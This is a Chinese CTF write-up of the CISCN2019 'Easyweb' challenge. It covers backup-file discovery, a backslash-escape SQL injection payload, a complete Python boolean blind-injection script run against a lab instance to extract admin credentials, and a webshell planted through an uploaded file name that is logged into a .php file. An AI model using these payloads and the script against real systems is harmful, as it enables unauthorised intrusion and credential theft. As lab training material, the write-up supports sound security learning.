[CISCN2019 总决赛 Day2 Web1]Easyweb

登录界面可以看到随机切换的图片。从页面源码中可以看到<div class="avtar"><img src="image.php?id=3" width="200" height="200"/></div>,图片文件的请求地址,并且有传参id。web应用中像这种动态获取图片的实现逻辑一般是根据id从文件系统中读取图片资源,那如果没有对id进行严格过滤的话就可能造成文件泄露。

如果后端是$path = "images/" . $_GET['id'] . ".png"像这样直接将id拼接到路径中,或许可以利用目录穿越。

尝试.../.../.../.../.../.../.../.../etc/passwd发现没有回显,很有可能后端对id进行了类型限制,试试看1.../.../.../.../.../.../.../.../etc/passwd,发现返回的是图片数据,那说明被当作了数字1,说明后端应该不是拼接路径,很可能是根据id查询数据库或者文件系统,并且将id用引号包裹起来了。

需要获得源码才行,扫扫有没有备份文件。利用dirsearch看到有robots.txt,访问给了个文件/static/secretkey.txt,但是里面没什么东西,只有一句话"you never guess",跟题解有所不同。虽然看了答案知道有.php.back备份文件,但是比赛的时候肯定得靠自己去猜。利用字典进行备份文件扫描的时候有index.php.bak,但是这道题只有image.php.bak,像这种并不花哨而且找不到任何线索的题,大概率就是源码泄露,下次可以大胆猜测。

常见文件名 / 格式 说明 示例路径
文件名~(如index.php~) Linux 下 Vim/Sublime 生成的备份文件(末尾加~) http://target.com/index.php\~
.#文件名(如.#config.php) Vim 编辑时生成的临时交换文件(开头.#) http://target.com/.#config.php
文件名.bak/文件名.back(如config.php.bak) 手动添加的备份后缀(开发常用) http://target.com/config.php.bak
文件名.txt(如config.txt) 为方便查看,将配置文件改为 TXT 格式备份 http://target.com/config.txt
php 复制代码
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

直接将参数拼入sql语句,这是很危险的。不过他正确使用了addslashes函数进行特殊字符转义。但是,又用了str_replace将某些字符替换为空,这和上次那道连续使用两个转移函数造成特殊字符逃逸差不多,这边也可以构造逃逸。

addslashes函数默认转义的字符:​

单引号('):转义后为 '​

双引号("):转义后为 "​

反斜杠(\):转义后为 \​

NUL 字符(ASCII 码 0 的空字符,通常用 \0 表示):转义后为 \0

另外一个注意的地方是这边替换掉的是\0 %00 \\ ',因为在str_replace函数中这些字符是用双引号包裹的,会转义一次。

我们可以在id中构造\0,经过addslashes函数转义变成\\0,然后替换函数会将\0替换为空,就留下了一个反斜杠。拼入sql语句就是:
select * from images where id=' \' or path='{$path}'此时单引号被转义,id的值变成了' \' or path=',$path中的东西就成功逃逸出来了。但是此时最后还有一个单引号怎么办呢?考虑闭合或者用注释符。

怎么构造payload得到敏感文件呢?读取的文件是查询结果中的path字段,但是我们并不知道数据库中有什么。

尝试:

id=\0&path=or id='1'#

id=\0&path=or id='1

发现都不行,说明这样处理单引号不行,哦对因为单引号被替换为空了

id=\0&path=or 1=1#

这样也不行,难道是#没有生效?原来是直接在地址栏输入#不会被url编码,而是被当作注释符了。

id=\0&path=or 1=1%23 成功了。先看看images表中有没有信息。

id=\0&path=or 1=1 limit 1,1%23 只有三张图片。看来需要利用盲注找其他表。

注入位置是id=\0&path=or 1={xxx}%23

套用脚本:

python 复制代码
import random
import time
import requests
from concurrent.futures import ThreadPoolExecutor
# -----------注意访问的文件
url = 'http://2182da8a-d0d4-461b-ab4a-05f5d542b169.node5.buuoj.cn:81/image.php'
# -----------标志性回显
# symbol = 'Nu1L'
# -----------爆破位置payload
# select = 'select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())'
# select = 'select(group_concat(column_name))from(information_schema.columns)where((table_name)=(0x7573657273))'
select = 'select group_concat(username)from users'
# -----------爆破长度payload
# select_len = 'select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database())'
# select_len = 'select(length(group_concat(column_name)))from(information_schema.columns)where((table_name)=(0x7573657273))'
select_len = 'select length(group_concat(username))from users'
length = 0
result = [''] * 1000  # 使用列表存储结果,避免线程安全问题


def make_request(url, param):
    try:
        r = requests.get(url, params=param, timeout=30)
        # r = requests.post(url, data=param, timeout=30)
        r.raise_for_status()  # 检查HTTP状态码
        return r
    except requests.exceptions.Timeout:
        print("[-] 请求超时,请检查网络连接或增加超时时间")
    except requests.exceptions.HTTPError as e:
        print(f"[-] HTTP错误: {e.response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求异常: {str(e)}")
    return None


def make_request_with_retry(url, param):
    global result
    r = make_request(url, param)
    if not r:
        print("[-] 重试")
        time.sleep(random.randint(0, 10))
        r = make_request(url, param)
        if not r:
            return None
    return r


def get_length_with_BinarySearch():
    global length
    low, high = 0, 500
    while low <= high:
        mid = (low + high) // 2
        param = {
            'id': '\\0',  # 用双反斜杠表示字面意义的\0
            'path': f"or 1=(({select_len})>={mid})#"
        }
        # print(param)
        r = make_request_with_retry(url, param)
        if not r:
            print(f"[-]长度爆破失败")
        # print(r.content)
        # if symbol in r.text:
        if len(r.content) > 0:
            # 大于等于mid
            param = {
                "id": '\\0',
                "path": f"or 1=(({select_len})={mid})#"
            }
            r = make_request_with_retry(url, param)
            if not r:
                print(f"[-]长度爆破失败")
            # if symbol in r.text:
            if len(r.content) > 0:
                print(f"长度为{mid}")
                length = mid
                break
            else:
                # 大于mid
                low = mid + 1
        else:
            # 小于mid
            high = mid - 1


def get_char_at_position(i):
    global result
    print(f"[*] 开始注入位置{i}...")
    low, high = 31, 127
    while low <= high:
        mid = (low + high) // 2
        param = {
            'id': '\\0',  # 用双反斜杠表示字面意义的\0
            'path': f"or 1=(ord(substr(({select}),{i},1))>={mid})#"
        }
        r = make_request_with_retry(url, param)
        if not r:
            print(f"[-] 位置{i}未找到!!!!!!!!!!!")
            result[i - 1] = '?'
            break
        # if symbol in r.text:
        if len(r.content) > 0:
            # 大于等于mid
            param = {
                'id': '\\0',  # 用双反斜杠表示字面意义的\0
                'path': f"or 1=(ord(substr(({select}),{i},1))={mid})#"
            }
            r = make_request_with_retry(url, param)
            if not r:
                print(f"[-] 位置{i}未找到!!!!!!!!!!!")
                result[i - 1] = '?'
                break
            # if symbol in r.text:
            if len(r.content) > 0:
                # 等于mid
                result[i - 1] = chr(mid)
                print(f"[*] 位置{i}字符为{chr(mid)}")
                break
            else:
                # 大于mid
                low = mid + 1
        else:
            # 小于mid
            high = mid - 1


# # -----------------失败位置重试,如果有个别地方没有爆破成功可以在这里进行单独爆破
# position = {12, 15}
# for i in position:
#     get_char_at_position(i)

# ------------------爆破长度
get_length_with_BinarySearch()

if length == 0:
    print("[-] length为0,请检查错误")
    exit(0)

# # ------------------单线程爆破
# for i in range(1, length+1):
#     get_char_at_position(i)

# ------------------多线程爆破
with ThreadPoolExecutor(max_workers=10) as executor:
    futures = [executor.submit(get_char_at_position, i) for i in range(1, length + 1)]

    # 等待所有任务完成
    for future in futures:
        future.result()

# 过滤空字符并拼接结果
final_result = ''.join(filter(None, result))
print("最终结果:", final_result)

# 出错的位置
positions = []
for index, char in enumerate(final_result):
    if char == '?':
        positions.append(index+1)
print("出错位置:", positions)

有三个注意的点:

  1. 这里响应是图片,所有不能再用r.text来作为判断条件,可以通过响应长度不同来判断。
  2. 由于单双引号被禁用,所以在最后查字段的时候表名需要用十六进制编码,因为在Mysql中十六进制编码会自动解码为字符串,可以绕过引号。
  3. 通过request来发起请求的时候,客户端会自动对params进行url编码,所以如果#仍然写成%23就会导致二次编码。

最后爆出来:admin b028759c31b4a29d54f6

登录进去。发现是文件上传,随便上传一个文件发现:

I logged the file name you uploaded to logs/upload.05571ffc0f0ba134f932c75082af160e.log.php. LOL

看一下该日志文件:User admin uploaded file shell.jpg.

那是不是能将木马放到文件名中。试一下

使用蚁剑成功连接。

总结一下:首先需要获得image.php.bak源码文件,然后利用sql漏洞布尔盲注获得用户密码,登录后发现能上传文件至php文件,并且记录文件名,于是直接将一句话木马放到文件名中。

相关推荐
OEC小胖胖9 小时前
Next.js 介绍:为什么选择它来构建你的下一个 Web 应用?
开发语言·前端·web·next.js
OEC小胖胖1 天前
页面间的导航:`<Link>` 组件和 `useRouter`
前端·前端框架·web·next.js
练习时长两年半的Java练习生(升级中)2 天前
从0开始学习Java+AI知识点总结-30.前端web开发(JS+Vue+Ajax)
前端·javascript·vue.js·学习·web
科技树支点3 天前
无GC的Java创新设计思路:作用域引用式自动内存管理
java·python·go·web·编程语言·编译器
Bruce_Liuxiaowei3 天前
基于BeEF的XSS钓鱼攻击与浏览器劫持实验
前端·网络安全·ctf·xss
OEC小胖胖3 天前
React学习之路永无止境:下一步,去向何方?
前端·javascript·学习·react.js·前端框架·react·web
OEC小胖胖4 天前
给你的应用穿上“外衣”:React中的CSS方案对比与实践
前端·前端框架·react·web
小小小CTFER4 天前
NSSCTF每日一题_Web_[SWPUCTF 2022 新生赛]奇妙的MD5
ctf
OEC小胖胖4 天前
代码质量保障:使用Jest和React Testing Library进行单元测试
前端·react.js·单元测试·前端框架·web